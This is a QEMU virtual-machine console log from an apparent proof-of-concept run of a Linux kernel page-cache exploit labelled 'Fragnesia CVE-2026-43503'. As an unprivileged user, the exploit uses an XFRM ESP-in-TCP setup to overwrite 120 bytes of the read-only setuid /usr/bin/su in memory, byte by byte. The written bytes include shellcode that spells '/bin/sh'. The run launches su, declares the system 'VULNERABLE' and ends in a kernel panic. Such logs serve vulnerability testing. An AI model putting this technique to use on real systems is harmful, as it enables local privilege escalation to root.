c[?7lSeaBIOS (version 1.17.0-debian-1.17.0-1ubuntu1) iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFC8B80+1EF08B80 CA00 Press Ctrl-B to configure iPXE (PCI 00:03.0)... Booting from ROM..c[?7l+ mkdir -p /dev /mnt + mount -t devtmpfs devtmpfs /dev + mount -t ext4 -o ro /dev/vda /mnt + umount /dev + exec switch_root /mnt /init Fragnesia CVE-2026-43503 variant init kernel: 7.0.9-070009-generic [*] uid=1000 euid=1000 gid=1000 egid=1000 [*] target=/usr/bin/su size=55680 [*] outer_write_open_denied=1 errno=30 (Read-only file system) [*] backup: /tmp/.su_104 [+] topology ready: sender_pid=107 receiver_pid=108 [+] XFRM ESP-in-TCP SA installed [*] userns_write_open_denied=1 errno=30 (Read-only file system) [*] overwriting 120 bytes of page cache... [*] range: offset=0x0 len=120 last=0x77 enc_len=4080 splice_len=4096 [+] stream0 table built [-] [1/120] +0000 already=7f skip [-] [2/120] +0001 already=45 skip [-] [3/120] +0002 already=4c skip [-] [4/120] +0003 already=46 skip [-] [5/120] +0004 already=02 skip [-] [6/120] +0005 already=01 skip [-] [7/120] +0006 already=01 skip [-] [8/120] +0007 already=00 skip [-] [9/120] +0008 already=00 skip [-] [10/120] +0009 already=00 skip [-] [11/120] +000a already=00 skip [-] [12/120] +000b already=00 skip [-] [13/120] +000c already=00 skip [-] [14/120] +000d already=00 skip [-] [15/120] +000e already=00 skip [-] [16/120] +000f already=00 skip [-] [17/120] +0010 already=03 skip [-] [18/120] +0011 already=00 skip [-] [19/120] +0012 already=3e skip [-] [20/120] +0013 already=00 skip [-] [21/120] +0014 already=01 skip [-] [22/120] +0015 already=00 skip [-] [23/120] +0016 already=00 skip [-] [24/120] +0017 already=00 skip [*] [25/120] +0018 80 -> 68 xor=e8 seq=1 [+] smashed 80 -> 68 index=24 offset=+0018 [*] [26/120] +0019 76 -> 00 xor=76 seq=2 [+] smashed 76 -> 00 index=25 offset=+0019 [*] [27/120] +001a c1 -> 00 xor=c1 seq=3 [+] smashed c1 -> 00 index=26 offset=+001a [*] [28/120] +001b 09 -> 00 xor=09 seq=4 [*] [28/120] +001b 09 -> 00 xor=09 seq=5 (retry) [+] smashed 09 -> 00 index=27 offset=+001b [*] [29/120] +001c 40 -> 00 xor=40 seq=6 [+] smashed 40 -> 00 index=28 offset=+001c [*] [30/120] +001d b8 -> 00 xor=b8 seq=7 [+] smashed b8 -> 00 index=29 offset=+001d [*] [31/120] +001e f7 -> 00 xor=f7 seq=8 [+] smashed f7 -> 00 index=30 offset=+001e [*] [32/120] +001f 54 -> 00 xor=54 seq=9 [*] [32/120] +001f 54 -> 00 xor=54 seq=10 (retry) [+] smashed 54 -> 00 index=31 offset=+001f [*] [33/120] +0020 d5 -> 38 xor=ed seq=11 [+] smashed d5 -> 38 index=32 offset=+0020 [*] [34/120] +0021 b8 -> 00 xor=b8 seq=12 [+] smashed b8 -> 00 index=33 offset=+0021 [*] [35/120] +0022 fe -> 00 xor=fe seq=13 [+] smashed fe -> 00 index=34 offset=+0022 [*] [36/120] +0023 bf -> 00 xor=bf seq=14 [+] smashed bf -> 00 index=35 offset=+0023 [*] [37/120] +0024 08 -> 00 xor=08 seq=15 [+] smashed 08 -> 00 index=36 offset=+0024 [*] [38/120] +0025 5a -> 00 xor=5a seq=16 [+] smashed 5a -> 00 index=37 offset=+0025 [*] [39/120] +0026 3e -> 00 xor=3e seq=17 [+] smashed 3e -> 00 index=38 offset=+0026 [*] [40/120] +0027 23 -> 00 xor=23 seq=18 [+] smashed 23 -> 00 index=39 offset=+0027 [*] [41/120] +0028 23 -> 00 xor=23 seq=19 [+] smashed 23 -> 00 index=40 offset=+0028 [*] [42/120] +0029 03 -> 00 xor=03 seq=20 [+] smashed 03 -> 00 index=41 offset=+0029 [*] [43/120] +002a 56 -> 00 xor=56 seq=21 [+] smashed 56 -> 00 index=42 offset=+002a [*] [44/120] +002b 77 -> 00 xor=77 seq=22 [+] smashed 77 -> 00 index=43 offset=+002b [*] [45/120] +002c c3 -> 00 xor=c3 seq=23 [+] smashed c3 -> 00 index=44 offset=+002c [*] [46/120] +002d 59 -> 00 xor=59 seq=24 [+] smashed 59 -> 00 index=45 offset=+002d [*] [47/120] +002e ac -> 00 xor=ac seq=25 [+] smashed ac -> 00 index=46 offset=+002e [*] [48/120] +002f 95 -> 00 xor=95 seq=26 [+] smashed 95 -> 00 index=47 offset=+002f [*] [49/120] +0030 99 -> 00 xor=99 seq=27 [+] smashed 99 -> 00 index=48 offset=+0030 [*] [50/120] +0031 34 -> 00 xor=34 seq=28 [+] smashed 34 -> 00 index=49 offset=+0031 [*] [51/120] +0032 24 -> 00 xor=24 seq=29 [+] smashed 24 -> 00 index=50 offset=+0032 [*] [52/120] +0033 39 -> 00 xor=39 seq=30 [+] smashed 39 -> 00 index=51 offset=+0033 [*] [53/120] +0034 52 -> 40 xor=12 seq=31 [+] smashed 52 -> 40 index=52 offset=+0034 [*] [54/120] +0035 03 -> 00 xor=03 seq=32 [+] smashed 03 -> 00 index=53 offset=+0035 [*] [55/120] +0036 4a -> 38 xor=72 seq=33 [+] smashed 4a -> 38 index=54 offset=+0036 [*] [56/120] +0037 e5 -> 00 xor=e5 seq=34 [+] smashed e5 -> 00 index=55 offset=+0037 [*] [57/120] +0038 e8 -> 01 xor=e9 seq=35 [+] smashed e8 -> 01 index=56 offset=+0038 [*] [58/120] +0039 a5 -> 00 xor=a5 seq=36 [+] smashed a5 -> 00 index=57 offset=+0039 [*] [59/120] +003a e4 -> 00 xor=e4 seq=37 [+] smashed e4 -> 00 index=58 offset=+003a [*] [60/120] +003b 56 -> 00 xor=56 seq=38 [+] smashed 56 -> 00 index=59 offset=+003b [*] [61/120] +003c 30 -> 05 xor=35 seq=39 [+] smashed 30 -> 05 index=60 offset=+003c [*] [62/120] +003d df -> 00 xor=df seq=40 [+] smashed df -> 00 index=61 offset=+003d [*] [63/120] +003e 04 -> 00 xor=04 seq=41 [+] smashed 04 -> 00 index=62 offset=+003e [*] [64/120] +003f 2c -> 00 xor=2c seq=42 [+] smashed 2c -> 00 index=63 offset=+003f [*] [65/120] +0040 c0 -> 00 xor=c0 seq=43 [+] smashed c0 -> 00 index=64 offset=+0040 [*] [66/120] +0041 6d -> 00 xor=6d seq=44 [+] smashed 6d -> 00 index=65 offset=+0041 [*] [67/120] +0042 e1 -> 00 xor=e1 seq=45 [+] smashed e1 -> 00 index=66 offset=+0042 [*] [68/120] +0043 e1 -> 00 xor=e1 seq=46 [+] smashed e1 -> 00 index=67 offset=+0043 [*] [69/120] +0044 ef -> 00 xor=ef seq=47 [+] smashed ef -> 00 index=68 offset=+0044 [*] [70/120] +0045 59 -> 00 xor=59 seq=48 [+] smashed 59 -> 00 index=69 offset=+0045 [*] [71/120] +0046 ca -> 00 xor=ca seq=49 [+] smashed ca -> 00 index=70 offset=+0046 [*] [72/120] +0047 f6 -> 00 xor=f6 seq=50 [+] smashed f6 -> 00 index=71 offset=+0047 [*] [73/120] +0048 24 -> 00 xor=24 seq=51 [+] smashed 24 -> 00 index=72 offset=+0048 [*] [74/120] +0049 dd -> 00 xor=dd seq=52 [+] smashed dd -> 00 index=73 offset=+0049 [*] [75/120] +004a 99 -> 00 xor=99 seq=53 [+] smashed 99 -> 00 index=74 offset=+004a [*] [76/120] +004b 7a -> 00 xor=7a seq=54 [+] smashed 7a -> 00 index=75 offset=+004b [*] [77/120] +004c 9d -> 00 xor=9d seq=55 [+] smashed 9d -> 00 index=76 offset=+004c [*] [78/120] +004d 50 -> 00 xor=50 seq=56 [+] smashed 50 -> 00 index=77 offset=+004d [*] [79/120] +004e 24 -> 00 xor=24 seq=57 [+] smashed 24 -> 00 index=78 offset=+004e [*] [80/120] +004f ed -> 00 xor=ed seq=58 [+] smashed ed -> 00 index=79 offset=+004f [*] [81/120] +0050 cd -> 2f xor=e2 seq=59 [+] smashed cd -> 2f index=80 offset=+0050 [*] [82/120] +0051 ea -> 62 xor=88 seq=60 [+] smashed ea -> 62 index=81 offset=+0051 [*] [83/120] +0052 74 -> 69 xor=1d seq=61 [+] smashed 74 -> 69 index=82 offset=+0052 [*] [84/120] +0053 e7 -> 6e xor=89 seq=62 [+] smashed e7 -> 6e index=83 offset=+0053 [*] [85/120] +0054 00 -> 2f xor=2f seq=63 [+] smashed 00 -> 2f index=84 offset=+0054 [*] [86/120] +0055 03 -> 73 xor=70 seq=64 [+] smashed 03 -> 73 index=85 offset=+0055 [*] [87/120] +0056 f5 -> 68 xor=9d seq=65 [+] smashed f5 -> 68 index=86 offset=+0056 [*] [88/120] +0057 f2 -> 00 xor=f2 seq=66 [+] smashed f2 -> 00 index=87 offset=+0057 [*] [89/120] +0058 6a -> 78 xor=12 seq=67 [+] smashed 6a -> 78 index=88 offset=+0058 [*] [90/120] +0059 f4 -> 00 xor=f4 seq=68 [+] smashed f4 -> 00 index=89 offset=+0059 [*] [91/120] +005a 07 -> 00 xor=07 seq=69 [+] smashed 07 -> 00 index=90 offset=+005a [*] [92/120] +005b 89 -> 00 xor=89 seq=70 [+] smashed 89 -> 00 index=91 offset=+005b [*] [93/120] +005c bf -> 00 xor=bf seq=71 [+] smashed bf -> 00 index=92 offset=+005c [*] [94/120] +005d 52 -> 00 xor=52 seq=72 [+] smashed 52 -> 00 index=93 offset=+005d [*] [95/120] +005e 1a -> 00 xor=1a seq=73 [+] smashed 1a -> 00 index=94 offset=+005e [*] [96/120] +005f e2 -> 00 xor=e2 seq=74 [+] smashed e2 -> 00 index=95 offset=+005f [*] [97/120] +0060 8e -> 78 xor=f6 seq=75 [+] smashed 8e -> 78 index=96 offset=+0060 [*] [98/120] +0061 e5 -> 00 xor=e5 seq=76 [+] smashed e5 -> 00 index=97 offset=+0061 [*] [99/120] +0062 2e -> 00 xor=2e seq=77 [+] smashed 2e -> 00 index=98 offset=+0062 [*] [100/120] +0063 78 -> 00 xor=78 seq=78 [+] smashed 78 -> 00 index=99 offset=+0063 [*] [101/120] +0064 d8 -> 00 xor=d8 seq=79 [+] smashed d8 -> 00 index=100 offset=+0064 [*] [102/120] +0065 5d -> 00 xor=5d seq=80 [+] smashed 5d -> 00 index=101 offset=+0065 [*] [103/120] +0066 6f -> 00 xor=6f seq=81 [+] smashed 6f -> 00 index=102 offset=+0066 [*] [104/120] +0067 c5 -> 00 xor=c5 seq=82 [+] smashed c5 -> 00 index=103 offset=+0067 [*] [105/120] +0068 66 -> b0 xor=d6 seq=83 [+] smashed 66 -> b0 index=104 offset=+0068 [*] [106/120] +0069 5e -> 69 xor=37 seq=84 [+] smashed 5e -> 69 index=105 offset=+0069 [*] [107/120] +006a 25 -> 0f xor=2a seq=85 [+] smashed 25 -> 0f index=106 offset=+006a [*] [108/120] +006b 2e -> 05 xor=2b seq=86 [+] smashed 2e -> 05 index=107 offset=+006b [*] [109/120] +006c 07 -> 48 xor=4f seq=87 [+] smashed 07 -> 48 index=108 offset=+006c [*] [110/120] +006d cf -> 8d xor=42 seq=88 [+] smashed cf -> 8d index=109 offset=+006d [*] [111/120] +006e 5d -> 3d xor=60 seq=89 [+] smashed 5d -> 3d index=110 offset=+006e [*] [112/120] +006f 73 -> dd xor=ae seq=90 [+] smashed 73 -> dd index=111 offset=+006f [*] [113/120] +0070 04 -> ff xor=fb seq=91 [+] smashed 04 -> ff index=112 offset=+0070 [*] [114/120] +0071 ac -> ff xor=53 seq=92 [+] smashed ac -> ff index=113 offset=+0071 [*] [115/120] +0072 9e -> ff xor=61 seq=93 [+] smashed 9e -> ff index=114 offset=+0072 [*] [116/120] +0073 66 -> 6a xor=0c seq=94 [+] smashed 66 -> 6a index=115 offset=+0073 [*] [117/120] +0074 dd -> 3b xor=e6 seq=95 [+] smashed dd -> 3b index=116 offset=+0074 [*] [118/120] +0075 4f -> 58 xor=17 seq=96 [+] smashed 4f -> 58 index=117 offset=+0075 [*] [119/120] +0076 ea -> 0f xor=e5 seq=97 [+] smashed ea -> 0f index=118 offset=+0076 [*] [120/120] +0077 78 -> 05 xor=7d seq=98 [+] smashed 78 -> 05 index=119 offset=+0077 [*] verifying 120 bytes... [*] summary: len=120 changed=96 skipped=24 [+] BUG: overwrote read-only page-cache bytes [+] page cache corrupted, launching /usr/bin/su [*] restore: cp /tmp/.su_104 /usr/bin/su [+] RESULT: VULNERABLE (page cache modified) [ 13.435111] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000100 [ 13.436198] CPU: 1 UID: 0 PID: 1 Comm: init Not tainted 7.0.9-070009-generic #202605191504 PREEMPT(lazy) [ 13.436512] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014 [ 13.436981] Call Trace: [ 13.437484] [ 13.437645] show_stack+0x49/0x60 [ 13.437905] dump_stack_lvl+0x5f/0x90 [ 13.438010] dump_stack+0x10/0x18 [ 13.438087] vpanic+0x262/0x4b0 [ 13.438151] panic+0x67/0x70 [ 13.438453] ? acct_update_integrals+0x5e/0xa0 [ 13.438615] do_exit.cold+0x15/0x15 [ 13.438724] ? count_memcg_events+0x103/0x250 [ 13.438825] do_group_exit+0x2d/0xb0 [ 13.438897] __x64_sys_exit_group+0x18/0x20 [ 13.439011] x64_sys_call+0x14a0/0x2390 [ 13.439097] do_syscall_64+0x105/0x5a0 [ 13.439215] ? arch_exit_to_user_mode_prepare.isra.0+0xd/0x100 [ 13.439991] ? irqentry_exit+0x97/0x5a0 [ 13.440087] ? exc_page_fault+0x94/0x1e0 [ 13.440163] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 13.440754] RIP: 0033:0x7669342ee21d [ 13.441096] Code: 02 ba ff ff ff ff 89 d0 c3 0f 1f 40 00 f3 0f 1e fa 48 8b 35 ed 4b 11 00 ba e7 00 00 00 eb 07 66 0f 1f 44 00 00 f4 89 d0 0f 05 <48> 3d 00 f0 ff ff 76 f3 f7 d8 64 89 06 eb ec 0f 1f 40 00 f3 0f 1e [ 13.441780] RSP: 002b:00007ffc5d934db8 EFLAGS: 00000206 ORIG_RAX: 00000000000000e7 [ 13.442013] RAX: ffffffffffffffda RBX: 0000766934404fa8 RCX: 00007669342ee21d [ 13.442154] RDX: 00000000000000e7 RSI: ffffffffffffff88 RDI: 0000000000000001 [ 13.442342] RBP: 00007ffc5d934e10 R08: 00007ffc5d934d58 R09: 0000000000000000 [ 13.442921] R10: 00007ffc5d934cdf R11: 0000000000000206 R12: 0000000000000001 [ 13.443103] R13: 0000000000000000 R14: 0000000000000001 R15: 0000766934404fc0 [ 13.443303] [ 13.444327] Kernel Offset: 0xa200000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff) [ 13.444797] ---[ end Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000100 ]--- qemu-system-x86_64: terminating on signal 15 from pid 5951 (sudo)